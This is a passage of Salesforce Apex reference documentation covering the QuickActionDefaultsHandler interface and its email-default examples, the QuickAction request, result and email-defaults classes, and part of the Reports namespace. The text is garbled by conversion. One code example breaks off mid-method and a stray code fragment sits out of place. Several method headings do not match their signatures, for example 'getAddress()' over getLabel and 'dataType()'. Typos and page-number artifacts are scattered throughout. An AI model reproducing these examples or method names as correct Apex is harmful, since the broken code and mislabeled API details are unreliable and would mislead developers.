- The interface works with the out-of-the-box Email action provided on cases. You can also use the interface with custom Email actions for the case object.
- The interface in Lightning Experience doesn’t support:
  - Email attachments
  - Custom email fields
  - Visualforce email templates, which are a type of email template available in Salesforce Classic
- The From Address picklist isn’t customizable in Send Email action types via the `QuickActionDefaultsHandler` Interface.
- If your Apex interface adds content to the email body, merge fields display as unresolved. During preview and send, the merge fields resolve.

When you implement this interface, provide an empty parameterless constructor.

IN THIS SECTION:

- QuickActionDefaultsHandler Methods
- QuickActionDefaultsHandler Example Implementations

QuickActionDefaultsHandler Methods

The following are methods for `QuickActionDefaultsHandler`.

IN THIS SECTION:

- `onInitDefaults(actionDefaults)`
  - Implement this method to provide default values for the standard Email action in the case feed.
onInitDefaults(actionDefaults)
Implement this method to provide default values for the standard Email action in the case feed.

Signature

public void onInitDefaults(QuickAction.QuickActionDefaults[] actionDefaults)

Parameters

actionDefaults
Type: QuickAction.QuickActionDefaults[]
This array contains only one item of type QuickAction.SendEmailQuickActionDefaults.

Return Value
Type: void

QuickActionDefaultsHandler Example Implementations
These examples are implementations of the QuickAction.QuickActionDefaultsHandler interface.

In this example, the onInitDefaults method checks whether the element passed in the array is for the standard Email action in the case feed. Then, it performs a query to retrieve the case that corresponds to the context ID. Next, it sets the value of the BCC address of the corresponding email message to a default value. The default value is based on the case reason. Finally, it sets the default values of the email template properties. The onInitDefaults method determines the default values based on two criteria: first, whether a reply action on an email message initiated the call to the method, and second, whether any previous emails attached to the case are associated with the call.

global class EmailPublisherLoader implements QuickAction.QuickActionDefaultsHandler {
    // Empty constructor
    global EmailPublisherLoader() {
    }

    // The main interface method
    global void onInitDefaults(QuickAction.QuickActionDefaults[] defaults) {
        QuickAction.SendEmailQuickActionDefaults sendEmailDefaults = null;

        // Check if the quick action is the standard case feed Send Email action
        for (Integer j = 0; j < defaults.size(); j++) {
            if (defaults.get(j) instanceof QuickAction.SendEmailQuickActionDefaults &&
                defaults.get(j).getTargetSObject().getSObjectType() == EmailMessage.sObjectType &&
                defaults.get(j).getActionName().equals('Case.Email') &&
                defaults.get(j).getActionType().equals('Email')) {
                sendEmailDefaults = (QuickAction.SendEmailQuickActionDefaults)defaults.get(j);
                break;
            }
        }

        if (sendEmailDefaults != null) {
Case c = [SELECT Status, Reason FROM Case WHERE Id=:sendEmailDefaults.getContextId()];

EmailMessage emailMessage = (EmailMessage)sendEmailDefaults.getTargetSObject();

// Set BCC address to make sure each email goes for audit
emailMessage.BccAddress = getBccAddress(c.Reason);

/*
Set Template related fields
when the In Reply To Id field is null we know the interface
is called on page load. Here we check if
there are any previous emails attached to the case and load
the 'New_Case_Created' or 'Automatic_Response' template.
When the In Reply To Id field is not null we know that
the interface is called on click of reply/reply all
of an email and we load the 'Default_reply_template' template */
if (sendEmailDefaults.getInReplyToId() == null) {
    Integer emailCount = [SELECT count() FROM EmailMessage WHERE ParentId=:sendEmailDefaults.getContextId()];
    if (emailCount!= null && emailCount > 0) {
        sendEmailDefaults.setTemplateId(getTemplateIdHelper('Automatic_Response'));
    } else {
        sendEmailDefaults.setTemplateId(getTemplateIdHelper('New_Case_Created'));
    }
    sendEmailDefaults.setInsertTemplateBody(false);
    sendEmailDefaults.setIgnoreTemplateSubject(false);
} else {
    sendEmailDefaults.setTemplateId(getTemplateIdHelper('Default_reply_template'));
    sendEmailDefaults.setInsertTemplateBody(false);
    sendEmailDefaults.setIgnoreTemplateSubject(true);
}
}

private Id getTemplateIdHelper(String templateApiName) {
    Id templateId = null;
    try {
        templateId = [select id, name from EmailTemplate where developername = : templateApiName].id;
    } catch (Exception e) {
        system.debug('Unable to locate EmailTemplate using name: ' + templateApiName + ' refer to Setup | Communications Templates ' + templateApiName);
    }
    return templateId;
}

private String getBccAddress(String reason) {
    if (reason != null && reason.equals('Technical')) {
        return 'support_technical@mycompany.com';
    }
In this example, the `onInitDefaults` method checks whether the element passed in the array is for the standard Email action in the case feed. Then it performs a query to determine if the case Priority is set to *High*. If the Priority is set to *High*, the email address `managers@acme.com` is appended to the BCC field.

```apex
global class EmailPublisherForHighPriorityCases implements QuickAction.QuickActionDefaultsHandler {
    // The main interface method
    global void onInitDefaults(QuickAction.QuickActionDefaults[] defaults) {
        QuickAction.SendEmailQuickActionDefaults sendEmailDefaults = (QuickAction.SendEmailQuickActionDefaults)defaults.get(0);
        EmailMessage emailMessage = (EmailMessage)sendEmailDefaults.getTargetSObject();

        Case c = ([SELECT CaseNumber, Priority FROM Case WHERE Id=:sendEmailDefaults.getContextId()]);

        // If case severity is "High," append "managers@acme.com" to the existing (and possibly blank) BCC field
        if (c.Priority != null && c.Priority.equals('High')) { // Priority is 'High'
            emailMessage.BccAddress = 'managers@acme.com';
        }
    }
}
```

In this example, the `onInitDefaults` method checks whether the element passed in the array is for the standard Email action in the case feed. Then it performs a query to determine if the case Type is set to *Problem*. If the type is set to *Problem*, the *First Response* email template is inserted into the body of the email.

```apex
global class EmailPublisherForCaseType implements QuickAction.QuickActionDefaultsHandler {
    // The main interface method
    global void onInitDefaults(QuickAction.QuickActionDefaults[] defaults) {
        QuickAction.SendEmailQuickActionDefaults sendEmailDefaults = (QuickAction.SendEmailQuickActionDefaults)defaults.get(0);
        EmailMessage emailMessage = (EmailMessage)sendEmailDefaults.getTargetSObject();

        Case c = ([SELECT CaseNumber, Type FROM Case WHERE Id=:sendEmailDefaults.getContextId()]);

        // If case type is "Problem," insert the "First Response" email template
        if (c.Type != null && c.Type.equals('Problem')) { // Type is 'Problem'
            emailMessage.body = 'First Response';
        }
    }
}
```
if (c.CaseNumber != null && c.Type.equals('Problem')) {
    sendEmailDefaults.setTemplateId('Insert Email Template ID Here');  // Set the template Id corresponding to First Response
    sendEmailDefaults.setInsertTemplateBody(true);
    sendEmailDefaults.setIgnoreTemplateSubject(false);
} }

In this example, the onInitDefaults method checks whether the element passed in the array is for the standard Email action in the case feed. Then it performs a query to determine if the email is a Reply or Reply All email. If email is a Reply or Reply All email, the corresponding email templates for these emails are inserted into the body of the email.

global class EmailPublisherForReplyAndReplyAll implements QuickAction.QuickActionDefaultsHandler {
    // Empty constructor
    global EmailPublisherForReplyAndReplyAll() {
    }

    // The main interface method
    global void onInitDefaults(QuickAction.QuickActionDefaults[] defaults) {
        QuickAction.SendEmailQuickActionDefaults sendEmailDefaults =
            (QuickAction.SendEmailQuickActionDefaults)defaults.get(0);
        EmailMessage emailMessage = (EmailMessage)sendEmailDefaults.getTargetSObject();

        // If the email is a “Reply” email, insert the “Reply Email Template” to the email body
        if (sendEmailDefaults.getActionName().equals('EmailMessage._Reply')) {
            sendEmailDefaults.setTemplateId('Insert Reply Email Template ID Here');
            sendEmailDefaults.setInsertTemplateBody(true);
            sendEmailDefaults.setIgnoreTemplateSubject(false);
        }

        // If the email is a “Reply All” email, insert the “Reply All Email Template” to the email body
        else if (sendEmailDefaults.getActionName().equals('EmailMessage._ReplyAll')) {
            sendEmailDefaults.setTemplateId('Insert Reply All Email Template ID Here');
            sendEmailDefaults.setInsertTemplateBody(true);
            sendEmailDefaults.setIgnoreTemplateSubject(false);
        }
    }

QuickActionRequest Class

Use the QuickAction.QuickActionRequest class for providing action information for quick actions to be performed by QuickAction class methods. Action information includes the action name, context record ID, and record.

Namespace

QuickAction
**Usage**

For Apex saved using Salesforce API version 28.0, a parent ID is associated with the QuickActionRequest instead of the context ID. The constructor of this class takes no arguments:

```java
QuickAction.QuickActionRequest qar = new QuickAction.QuickActionRequest();
```

**Example**

In this sample, a new quick action is created to create a contact and assign a record to it.

```java
QuickAction.QuickActionRequest req = new QuickAction.QuickActionRequest();
// Some quick action name
req.quickActionName = Schema.Account.QuickAction.AccountCreateContact;

// Define a record for the quick action to create
Contact c = new Contact();
c.lastname = 'last name';
req.record = c;

// Provide the context ID (or parent ID). In this case, it is an Account record.
req.contextid = '001xx000003DGcO';

QuickAction.QuickActionResult res = QuickAction.performQuickAction(req);
```

**QuickActionRequest Constructors**

The following are constructors for `QuickActionRequest`.

**QuickActionRequest()**

Creates a new instance of the `QuickAction.QuickActionRequest` class.

**QuickActionRequest()**

Creates a new instance of the `QuickAction.QuickActionRequest` class.

**Signature**

```java
public QuickActionRequest()
```
QuickActionRequest Methods

The following are methods for QuickActionRequest. All are instance methods.

IN THIS SECTION:

- `getContextId()`
  Returns this QuickAction's context record ID.
- `getQuickActionName()`
  Returns this QuickAction's name.
- `getRecord()`
  Returns the QuickAction's associated record.
- `setContextId(contextId)`
  Sets this QuickAction's context ID. Returned by `getContextId`.
- `setQuickActionName(name)`
  Sets this QuickAction's name. Returned by `getQuickActionName`.
- `setRecord(record)`
  Sets a record for this QuickAction. Returned by `getRecord`.

**getContextId()**

Returns this QuickAction's context record ID.

Signature

```java
public Id getContextId()
```

Return Value

Type: `ID`

**getQuickActionName()**

Returns this QuickAction's name.

Signature

```java
public String getQuickActionName()
```

Return Value

Type: `String`

**getRecord()**

Returns the QuickAction's associated record.
Signature

```java
public SObject getRecord()
```

Return Value
Type: sObject

**setContextId(contextId)**
Sets this QuickAction’s context ID. Returned by `getContextId`.

Signature

```java
public Void setContextId(Id contextId)
```

Parameters

c**ontextId**
Type: ID

Return Value
Type: Void

Usage

For Apex saved using Salesforce API version 28.0, sets this QuickAction’s parent ID and is returned by `getParentId`.

**setQuickActionName(name)**
Sets this QuickAction’s name. Returned by `getQuickActionName`.

Signature

```java
public Void setQuickActionName(String name)
```

Parameters

c**name**
Type: String

Return Value
Type: Void

**setRecord(record)**
Sets a record for this QuickAction. Returned by `getRecord`.

2758
Signature

```java
public Void setRecord(SObject record)
```

Parameters

```java
record
  Type: sObject
```

Return Value

Type: Void

**QuickActionResult Class**

After you initiate a quick action with the `QuickAction` class, use the `QuickActionResult` class for processing action results.

**Namespace**

`QuickAction`

**SEE ALSO:**

- `QuickAction Class`

**QuickActionResult Methods**

The following are methods for `QuickActionResult`. All are instance methods.

**IN THIS SECTION:**

- `getErrors()`
  - If an error occurs, an array of one or more database error objects, along with error codes and descriptions, is returned.
- `getIds()`
  - The IDs of the QuickActions being processed.
- `getSuccessMessage()`
  - Returns the success message associated with the quick action.
- `isCreated()`
  - Returns `true` if the action is created; otherwise, `false`.
- `isSuccess()`
  - Returns `true` if the action completes successfully; otherwise, `false`.

**getErrors()**

If an error occurs, an array of one or more database error objects, along with error codes and descriptions, is returned.

Signature

```java
public List<Database.Error> getErrors()
```
Return Value
Type: List<Database.Error>

**getIds()**
The IDs of the QuickActions being processed.

Signature
```
public List<Id> getIds()
```

Return Value
Type: List<Id>

**getSuccessMessage()**
Returns the success message associated with the quick action.

Signature
```
public String getSuccessMessage()
```

Return Value
Type: String

**isCreated()**
Returns `true` if the action is created; otherwise, `false`.

Signature
```
public Boolean isCreated()
```

Return Value
Type: Boolean

**isSuccess()**
Returns `true` if the action completes successfully; otherwise, `false`.

Signature
```
public Boolean isSuccess()
```

Return Value
Type: Boolean
SendEmailQuickActionDefaults Class

Represents an Apex class that provides: the From address list; the original email's email message ID, provided that the reply action was invoked on the email message feed item; and methods to specify related settings on templates. You can override these fields before the standard Email Action is rendered.

Namespace
QuickAction

Usage

Note: You cannot instantiate this class. One can use the getters/setters when using it in the context of QuickAction.QuickActionDefaultsHandler.

IN THIS SECTION:
SendEmailQuickActionDefaults Methods

SendEmailQuickActionDefaults Methods

The following are methods for SendEmailQuickActionDefaults.

IN THIS SECTION:
getFromAddressList()  
Returns a list of email addresses that are available in the From: address drop-down menu for the standard Email Action.

getInReplyToId()  
Returns the email message ID of the email to which the reply/reply all action has been invoked.

setIgnoreTemplateSubject(useOriginalSubject)  
Specifies whether the template subject should be ignored (true), thus using the original subject, or whether the template subject should replace the original subject (false).

setInsertTemplateBody(keepOriginalBodyContent)  
Specifies whether the template body should be inserted above the original body content (true) or whether it should replace the entire content with the template body (false).

setTemplateId(templateId)  
Sets the email template ID to load into the email body.

getFromAddressList()

Returns a list of email addresses that are available in the From: address drop-down menu for the standard Email Action.

Signature
public List<String> getFromAddressList()
Return Value
Type: List<String>

**getInReplyToId()**

Returns the email message ID of the email to which the reply/reply all action has been invoked.

Signature

```java
public Id getInReplyToId()
```

Return Value
Type: Id

**setIgnoreTemplateSubject(useOriginalSubject)**

Specifies whether the template subject should be ignored (true), thus using the original subject, or whether the template subject should replace the original subject (false).

Signature

```java
public void setIgnoreTemplateSubject(Boolean useOriginalSubject)
```

Parameters

```java
useOriginalSubject
   Type: Boolean
```

Return Value
Type: void

**setInsertTemplateBody(keepOriginalBodyContent)**

Specifies whether the template body should be inserted above the original body content (true) or whether it should replace the entire content with the template body (false).

Signature

```java
public void setInsertTemplateBody(Boolean keepOriginalBodyContent)
```

Parameters

```java
keepOriginalBodyContent
   Type: Boolean
```

Return Value
Type: void
**setTemplateId(templateId)**

Sets the email template ID to load into the email body.

**Signature**

`public void setTemplateId(Id templateId)`

**Parameters**

`templateId`

Type: `Id`

The template ID.

**Return Value**

Type: `void`

---

**Reports Namespace**

The `Reports` namespace provides classes for accessing the same data as is available in the Salesforce Reports and Dashboards REST API.

The following are the classes in the `Reports` namespace.

**IN THIS SECTION:**

- **AggregateColumn Class**
  
  Contains methods for describing summary fields such as Record Count, Sum, Average, Max, Min, and custom summary formulas. Includes name, label, data type, and grouping context.

- **BucketField Class**
  
  Contains methods and constructors to work with information about a bucket field, including bucket type, name, and bucketed values.

- **BucketFieldValue Class**
  
  Contains information about the report values included in a bucket field.

- **BucketType Enum**
  
  The types of values included in a bucket.

- **ColumnDataType Enum**
  
  The `Reports.ColumnDataType` enum describes the type of data in a column. It is returned by the `getColumnDataType` method.

- **ColumnSortOrder Enum**
  
  The `Reports.ColumnSortOrder` enum describes the order that the grouping column uses to sort data.

- **CrossFilter Class**
  
  Contains methods and constructors used to work with information about a cross filter.

- **CsfGroupType Enum**
  
  The group level at which the custom summary format aggregate is displayed in a report.

- **DateGranularity Enum**
  
  The `Reports.DateGranularity` enum describes the date interval that is used for grouping.
DetailColumn Class
Contains methods for describing fields that contain detailed data. Detailed data fields are also listed in the report metadata.

Dimension Class
Contains information for each row or column grouping.

EvaluatedCondition Class
Contains the individual components of an evaluated condition for a report notification, such as the aggregate name and label, the operator, and the value that the aggregate is compared to.

EvaluatedConditionOperator Enum
The Reports.EvaluatedConditionOperator enum describes the type of operator used to compare an aggregate to a value. It is returned by the getOperator method.

FilterOperator Class
Contains information about a filter operator, such as display name and API name.

FilterValue Class
Contains information about a filter value, such as the display name and API name.

FormulaType Enum
The format of the numbers in a custom summary formula.

GroupingColumn Class
Contains methods for describing fields that are used for column grouping.

GroupingInfo Class
Contains methods for describing fields that are used for grouping.

GroupingValue Class
Contains grouping values for a row or column, including the key, label, and value.

NotificationAction Interface
Implement this interface to trigger a custom Apex class when the conditions for a report notification are met.

NotificationActionContext Class
Contains information about the report instance and condition threshold for a report notification.

ReportCsf Class
Contains methods and constructors for working with information about a custom summary formula (CSF).

ReportCurrency Class
Contains information about a currency value, including the amount and currency code.

ReportDataCell Class
Contains the data for a cell in the report, including the display label and value.

ReportDescribeResult Class
Contains report, report type, and extended metadata for a tabular, summary, or matrix report.

ReportDetailRow Class
Contains data cells for a detail row of a report.

ReportDivisionInfo Class
Contains information about the divisions that can be used to filter a report.

ReportExtendedMetadata Class
Contains report extended metadata for a tabular, summary, or matrix report.
ReportFact Class
Contains the fact map for the report, which represents the report’s data values.

ReportFactWithDetails Class
Contains the detailed fact map for the report, which represents the report’s data values.

ReportFactWithSummaries Class
Contains the fact map for the report, which represents the report’s data values, and includes summarized fields.

ReportFilter Class
Contains information about a report filter, including column, operator, and value.

ReportFormat Enum
Contains the possible report format types.

ReportFilterType Enum
The types of values included in a report filter type.

ReportInstance Class
Returns an instance of a report that was run asynchronously. Retrieves the results for that instance.

ReportManager Class
Runs a report synchronously or asynchronously and with or without details.

ReportMetadata Class
Contains report metadata for a tabular, summary, or matrix report.

ReportResults Class
Contains the results of running a report.

ReportScopeInfo Class
Contains information about possible scope values that you can choose. Scope values depend on the report type. For example, you can set the scope for opportunity reports to All opportunities, My team’s opportunities, or My opportunities.

ReportScopeValue Class
Contains information about a possible scope value. Scope values depend on the report type. For example, you can set the scope for opportunity reports to All opportunities, My team’s opportunities, or My opportunities.

ReportType Class
Contains the unique API name and display name for the report type.

ReportTypeColumn Class
Contains detailed report type metadata about a field, including data type, display name, and filter values.

ReportTypeColumnCategory Class
Information about categories of fields in a report type.

ReportTypeMetadata Class
Contains report type metadata, which gives you information about the fields that are available in each section of the report type, plus filter information for those fields.

SortColumn Class
Contains information about the sort column used in the report.

StandardDateFilter Class
Contains information about standard date filter available in the report—for example, the API name, start date, and end date of the standard date filter duration as well as the API name of the date field on which the filter is placed.
StandardDateFilterDuration Class
Contains information about each standard date filter—also referred to as a relative date filter. It contains the API name and display label of the standard date filter duration as well as the start and end dates.

StandardDateFilterDurationGroup Class
Contains information about the standard date filter groupings, such as the grouping display label and all standard date filters that fall under the grouping. Groupings include Calendar Year, Calendar Quarter, Calendar Month, Calendar Week, Fiscal Year, Fiscal Quarter, Day, and custom values based on user-defined date ranges.

StandardFilter Class
Contains information about the standard filter defined in the report, such as the filter field API name and filter value.

StandardFilterInfo Class
Is an abstract base class for an object that provides standard filter information.

StandardFilterInfoPicklist Class
Contains information about the standard filter picklist, such as the display name and type of the filter field, the default picklist value, and a list of all possible picklist values.

StandardFilterType Enum
The StandardFilterType enum describes the type of standard filters in a report. The getType() method returns a Reports.StandardFilterType enum value.

SummaryValue Class
Contains summary data for a cell of the report.

ThresholdInformation Class
Contains a list of evaluated conditions for a report notification.

TopRows Class
Contains methods and constructors for working with information about a row limit filter.

Reports Exceptions
The Reports namespace contains exception classes.

AggregateColumn Class
Contains methods for describing summary fields such as Record Count, Sum, Average, Max, Min, and custom summary formulas. Includes name, label, data type, and grouping context.

Namespace
Reports

AggregateColumn Methods
The following are methods for AggregateColumn. All are instance methods.

IN THIS SECTION:

getName()  
Returns the unique API name of the summary field.

getLabel()  
Returns the localized display name for the summarized or custom summary formula field.
getDataType()

Returns the data type of the summarized or custom summary formula field.

getAcrossGroupingContext()

Returns the column grouping in the report where the summary field is displayed.

getDownGroupingContext()

Returns the row grouping in the report where the summary field is displayed.

getName()

Returns the unique API name of the summary field.

Syntax

public String getName()

Return Value

Type: String

getAddress()

Returns the localized display name for the summarized or custom summary formula field.

Syntax

public String getLabel()

Return Value

Type: String

dataType()

Returns the data type of the summarized or custom summary formula field.

Syntax

public Reports.ColumnDataType getDataType()

Return Value

Type: Reports.ColumnDataType

getAcrossGroupingContext()

Returns the column grouping in the report where the summary field is displayed.

Syntax

public String getAcrossGroupingContext()
Return Value
Type: String

dataDownGroupingContext()

Returns the row grouping in the report where the summary field is displayed.

Syntax
public String dataDownGroupingContext()

Return Value
Type: String

BucketField Class
Contains methods and constructors to work with information about a bucket field, including bucket type, name, and bucketed values.

Namespace
Reports

IN THIS SECTION:
BucketField Constructors
BucketField Methods

BucketField Constructors
The following are constructors for BucketField.

IN THIS SECTION:
BucketField(bucketType, devloperName, label, nullTreatedAsZero, otherBucketLabel, sourceColumnName, values)
Creates an instance of the Reports.BucketField class using the specified parameters.

BucketField()
Creates an instance of the Reports.BucketField class. You can then set values by using the class's set methods.

BucketField(bucketType, devloperName, label, nullTreatedAsZero, otherBucketLabel, sourceColumnName, values)
Creates an instance of the Reports.BucketField class using the specified parameters.

Signature
public BucketField(Reports.BucketType bucketType, String devloperName, String label, Boolean nullTreatedAsZero, String otherBucketLabel, String sourceColumnName, List<Reports.BucketFieldValue> values)
Parameters

bucketType
  Type: Reports.BucketType
  The type of bucket.

developerName
  Type: String
  API name of the bucket.

label
  Type: String
  User-facing name of the bucket.

nullTreatedAsZero
  Type: Boolean
  Specifies whether null values are converted to zero (true) or not (false).

otherBucketLabel
  Type: String
  Name of the fields grouped as Other (in buckets of BucketType PICKLIST).

sourceColumnName
  Type: String
  Name of the bucketed field.

definitionParameters

values
  Type: List<Reports.BucketType>
  Types of the values included in the bucket.

BucketField()

Creates an instance of the Reports.BucketField class. You can then set values by using the class’s set methods.

Signature

public BucketField()

BucketField Methods

The following are methods for BucketField.

IN THIS SECTION:

getBucketType()
  Returns the bucket type.

getDeveloperName()
  Returns the bucket’s API name.

getLabel()
  Returns the user-facing name of the bucket.
nullTreatedAsZero() 
Returns `true` if null values are converted to the number zero, otherwise returns `false`.

getOtherBucketLabel() 
Returns the name of fields grouped as `Other` in buckets of type `PICKLIST`.

getSourceColumnName() 
Returns the API name of the bucketed field.

getValues() 
Returns the report values grouped by the bucket field.

setBucketType(value) 
Sets the `BucketType` of the bucket.

setBucketType(bucketType) 
Sets the `BucketType` of the bucket.

setDevloperName(devloperName) 
Sets the API name of the bucket.

setLabel(label) 
Sets the user-facing name of the bucket.

setNullTreatedAsZero(nullTreatedAsZero) 
Specifies whether null values in the bucket are converted to zero (`true`) or not (`false`).

setOtherBucketLabel(otherBucketLabel) 
Sets the name of the fields grouped as `Other` (in buckets of `BucketType PICKLIST`).

setSourceColumnName(sourceColumnname) 
Specifies the name of the bucketed field.

setValues(values) 
Specifies which type of values are included in the bucket.

toString() 
Returns a string.

getBucketType() 
Returns the bucket type.

Signature

```java
public Reports.BucketType getBucketType()
```

Return Value

Type: `Reports.BucketType`

getDevloperName() 
Returns the bucket’s API name.
public String getDeveloperName()

Return Value
Type: String

getLabel()
Returns the user-facing name of the bucket.

Signature
public String getLabel()

Return Value
Type: String

getNullTreatedAsZero()
Returns true if null values are converted to the number zero, otherwise returns false.

Signature
public Boolean getNullTreatedAsZero()

Return Value
Type: Boolean

gOtherBucketLabel()
Returns the name of fields grouped as Other in buckets of type PICKLIST.

Signature
public String getOtherBucketLabel()

Return Value
Type: String

gSourceColumnName()
Returns the API name of the bucketed field.

Signature
public String getSourceColumnName()
Return Value
Type: String

`getValues()`
Returns the report values grouped by the bucket field.

Signature

```java
public List<Reports.BucketFieldValue> getValues()
```

Return Value
Type: List on page 3254<Reports.BucketFieldValue>

`setBucketType(value)`
Sets the BucketType of the bucket.

Signature

```java
public void setBucketType(String value)
```

Parameters

`value`
Type: String

See the Reports.BucketType enum for valid values.

Return Value
Type: void

`setBucketType(bucketType)`
Sets the BucketType of the bucket.

Signature

```java
public void setBucketType(Reports.BucketType bucketType)
```

Parameters

`bucketType`
Type: Reports.BucketType

Return Value
Type: void
setDevloperName(devloperName)
Sets the API name of the bucket.

Signature
public void setDevloperName(String devloperName)

Parameters
devloperName
  Type: String
  The API name to assign to the bucket.

Return Value
Type: void

setLabel(label)
Sets the user-facing name of the bucket.

Signature
public voidsetLabel(String label)

Parameters
label
  Type: String

Return Value
Type: void

setNullTreatedAsZero(nullTreatedAsZero)
Specifies whether null values in the bucket are converted to zero (true) or not (false).

Signature
public void setNullTreatedAsZero(Boolean nullTreatedAsZero)

Parameters
nullTreatedAsZero
  Type: Boolean

Return Value
Type: void
setOtherBucketLabel(otherBucketLabel)
Sets the name of the fields grouped as Other (in buckets of BucketType PICKLIST).

Signature
public void setOtherBucketLabel(String otherBucketLabel)

Parameters
otherBucketLabel
  Type: String

Return Value
Type: void

setSourceColumnName(sourceColumnName)
Specifies the name of the bucketed field.

Signature
public void setSourceColumnName(String sourceColumnName)

Parameters
sourceColumnName
  Type: String

Return Value
Type: void

setValues(values)
Specifies which type of values are included in the bucket.

Signature
public void setValues(List<Reports.BucketFieldValue> values)

Parameters
values
  Type: List on page 3254<Reports.BucketFieldValue>

Return Value
Type: void
**toString()**

Returns a string.

**Signature**

```
public String toString()
```

**Return Value**

Type: `String`

---

**BucketFieldValue Class**

Contains information about the report values included in a bucket field.

**Namespace**

`Reports`

---

**IN THIS SECTION:**

- BucketFieldValue Constructors
- BucketFieldValue Methods

---

**BucketFieldValue Constructors**

The following are constructors for BucketFieldValue.

**IN THIS SECTION:**

- `BucketFieldValue(label, sourceDimensionValues, rangeUpperBound)`
  - Creates an instance of the `Reports.BucketFieldValue` class using the specified parameters.

- `BucketFieldValue()`
  - Creates an instance of the `Reports.BucketFieldValue` class. You can then set values by using the class's `set` methods.

---

**BucketFieldValue(label, sourceDimensionValues, rangeUpperBound)**

Creates an instance of the `Reports.BucketFieldValue` class using the specified parameters.

**Signature**

```
public BucketFieldValue(String label, List<String> sourceDimensionValues, Double rangeUpperBound)
```

**Parameters**

- `label`
  - Type: `String`
  - The user-facing name of the bucket.
sourceDimensionValues
Type: List on page 3254<String>
A list of the values from the source field included in this bucket category (in buckets of type PICKLIST and buckets of type TEXT).

rangeUpperBound
Type: Double
The greatest range limit under which values are included in this bucket category (in buckets of type NUMBER).

BucketFieldValue()
Creates an instance of the Reports.BucketFieldValue class. You can then set values by using the class’s set methods.

Signature
public BucketFieldValue()

BucketFieldValue Methods
The following are methods for BucketFieldValue.

IN THIS SECTION:

getLabel()
Returns the user-facing name of the bucket category.

getRangeUpperBound()
Returns the greatest range limit under which values are included in this bucket category (in buckets of type NUMBER).

getSourceDimensionValues()
Returns a list of the values from the source field included in this bucket category (in buckets of type PICKLIST and buckets of type TEXT).

setLabel(label)
Set the user-facing name of the bucket category.

setRangeUpperBound(rangeUpperBound)
Sets the greatest limit of a range under which values are included in this bucket category (in buckets of type NUMBER).

setSourceDimensionValues(sourceDimensionValues)
Specifies the values from the source field included in this bucket category (in buckets of type PICKLIST and buckets of type TEXT).

toString()
Returns a string.

getLabel() (1)
Returns the user-facing name of the bucket category.

Signature
public String getLabel()
Return Value
Type: String

getRangeUpperBound()
Returns the greatest range limit under which values are included in this bucket category (in buckets of type NUMBER).

Signature
public Double getRangeUpperBound()

Return Value
Type: Double

getSourceDimensionValues()
Returns a list of the values from the source field included in this bucket category (in buckets of type PICKLIST and buckets of type TEXT).

Signature
public List<String> getSourceDimensionValues()

Return Value
Type: List<String>

setLabel(label)
Set the user-facing name of the bucket category.

Signature
public void setLabel(String label)

Parameters
label
Type: String

Return Value
Type: void

setRangeUpperBound(rangeUpperBound)
Sets the greatest limit of a range under which values are included in this bucket category (in buckets of type NUMBER).
public void setRangeUpperBound(Double rangeUpperBound)

Parameters
rangeUpperBound
Type: Double

Return Value
Type: void

setSourceDimensionValues(List<String> sourceDimensionValues)
Specifies the values from the source field included in this bucket category (in buckets of type PICKLIST and buckets of type TEXT).

Signature
public void setSourceDimensionValues(List<String> sourceDimensionValues)

Parameters
sourceDimensionValues
Type: List<String>

Return Value
Type: void

toString()
Returns a string.

Signature
public String toString()

Return Value
Type: String

BucketType Enum
The types of values included in a bucket.

Enum Values
The following are the values of the Reports.BucketType enum.
### ColumnDataType Enum

The `Reports.ColumnDataType` enum describes the type of data in a column. It is returned by the `getDataType` method.

#### Namespace

*Reports*

#### Enum Values

The following are the values of the `Reports.ColumnDataType` enum.

<table>
<thead>
<tr>
<th>Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>NUMBER</td>
<td>Numeric values</td>
</tr>
<tr>
<td>PICKLIST</td>
<td>Picklist values</td>
</tr>
<tr>
<td>TEXT</td>
<td>String values</td>
</tr>
<tr>
<td>BOOLEAN_DATA</td>
<td>Boolean (<code>true</code> or <code>false</code>) values</td>
</tr>
<tr>
<td>COMBOBOX_DATA</td>
<td>Combosboxes, which provide a set of enumerated values and enable the user to specify a value that is not in the list</td>
</tr>
<tr>
<td>CURRENCY_DATA</td>
<td>Currency values</td>
</tr>
<tr>
<td>DATETIME_DATA</td>
<td>Date Time values</td>
</tr>
<tr>
<td>DATE_DATA</td>
<td>Date values</td>
</tr>
<tr>
<td>DOUBLE_DATA</td>
<td>Double values</td>
</tr>
<tr>
<td>EMAIL_DATA</td>
<td>Email addresses</td>
</tr>
<tr>
<td>ID_DATA</td>
<td>An object’s Salesforce ID</td>
</tr>
<tr>
<td>INT_DATA</td>
<td>Integer values</td>
</tr>
<tr>
<td>MULTIPICKLIST_DATA</td>
<td>Multi-select picklists, which provide a set of enumerated values from which multiple values can be selected</td>
</tr>
<tr>
<td>PERCENT_DATA</td>
<td>Percent values</td>
</tr>
<tr>
<td>PHONE_DATA</td>
<td>Phone numbers. Values can include alphabetic characters. Client applications are responsible for phone number formatting.</td>
</tr>
<tr>
<td>PICKLIST_DATA</td>
<td>Single-select picklists, which provide a set of enumerated values from which only one value can be selected</td>
</tr>
<tr>
<td>REFERENCE_DATA</td>
<td>Cross-references to another object, analogous to a foreign key field</td>
</tr>
<tr>
<td>STRING_DATA</td>
<td>String values</td>
</tr>
</tbody>
</table>
### ColumnSortOrder Enum

The `Reports.ColumnSortOrder` enum describes the order that the grouping column uses to sort data.

#### Namespace

`Reports`

#### Usage

The `GroupingInfo.getColumnSortOrder()` method returns a `Reports.ColumnSortOrder` enum value. The `GroupingInfo.setColumnSortOrder()` method takes the enum value as an argument.

#### Enum Values

The following are the values of the `Reports.ColumnSortOrder` enum.

<table>
<thead>
<tr>
<th>Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>ASCENDING</td>
<td>Sort data in ascending order (A–Z)</td>
</tr>
<tr>
<td>DESCENDING</td>
<td>Sort data in descending order (Z–A)</td>
</tr>
</tbody>
</table>

### CrossFilter Class

Contains methods and constructors used to work with information about a cross filter.

#### Namespace

`Reports`

#### CrossFilter Constructors

The following are constructors for `CrossFilter`.
IN THIS SECTION:

CrossFilter(criteria, includesObject, primaryEntityField, relatedEntity, relatedEntityJoinField)
Creates an instance of the Reports.CrossFilter class using the specified parameters.

CrossFilter()
Creates an instance of the Reports.CrossFilter class. You can then set values by using the class’s set methods.

CrossFilter(criteria, includesObject, primaryEntityField, relatedEntity, relatedEntityJoinField)
Creates an instance of the Reports.CrossFilter class using the specified parameters.

Signature
public CrossFilter(List<Reports.ReportFilter> criteria, Boolean includesObject, String primaryEntityField, String relatedEntity, String relatedEntityJoinField)

Parameters
criteria
